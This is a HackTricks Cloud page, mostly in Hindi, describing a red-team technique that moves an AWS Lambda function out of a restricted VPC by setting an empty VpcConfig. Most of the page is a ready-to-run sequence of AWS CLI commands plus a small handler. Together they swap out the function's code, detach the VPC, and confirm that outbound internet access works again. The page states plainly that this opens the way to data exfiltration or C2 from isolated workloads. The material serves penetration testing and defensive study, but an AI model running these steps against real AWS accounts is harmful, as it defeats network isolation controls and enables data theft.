AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
एक खाली VpcConfig (SubnetIds=[], SecurityGroupIds=[]) के साथ इसकी configuration अपडेट करके किसी प्रतिबंधित VPC से Lambda फ़ंक्शन को बाहर निकालें। फ़ंक्शन तब Lambda-प्रबंधित नेटवर्किंग प्लेन में चलेगा, आउटबाउंड इंटरनेट एक्सेस फिर से प्राप्त करेगा और NAT के बिना निजी VPC सबनेट्स द्वारा लागू किए गए egress नियंत्रणों को बायपास करेगा।
इसका दुरुपयोग
- Pre-reqs: लक्ष्य फ़ंक्शन पर lambda:UpdateFunctionConfiguration (और सत्यापन के लिए lambda:InvokeFunction), साथ ही अगर आप code/handler बदल रहे हैं तो उन्हें अपडेट करने की permissions।
- Assumptions: फ़ंक्शन वर्तमान में VpcConfig के साथ कॉन्फ़िगर है जो NAT के बिना निजी सबनेट्स की ओर इशारा करता है (इसलिए आउटबाउंड इंटरनेट ब्लॉक है)।
- Region: us-east-1
चरण
- एक न्यूनतम handler तैयार करें जो साबित करे कि आउटबाउंड HTTP काम कर रहा है
cat > net.py <<'PY' import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
- वर्तमान VPC config रिकॉर्ड करें (यदि आवश्यक हो तो बाद में restore करने के लिए)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- खाली सूची सेट करके VPC को detach करें
aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Invoke करें और आउटबाउंड एक्सेस सत्यापित करें
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json
(Optional) मूल VPC config को पुनः स्थापित करें
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi
प्रभाव
- फ़ंक्शन से बिना प्रतिबंध के आउटबाउंड इंटरनेट पुनः प्राप्त होता है, जिससे data exfiltration या C2 संभव हो जाता है उन वर्कलोड्स से जिन्हें जानबूझकर निजी सबनेट्स (NAT के बिना) में अलग रखा गया था।
Example output (after detaching VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
Cleanup
- यदि आपने कोई अस्थायी code/handler परिवर्तन किए हैं, तो उन्हें restore करें।
- वैकल्पिक रूप से /tmp/orig-vpc.json में सहेजा गया मूल VpcConfig ऊपर दिखाए गए तरीके से पुनः स्थापित करें।
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud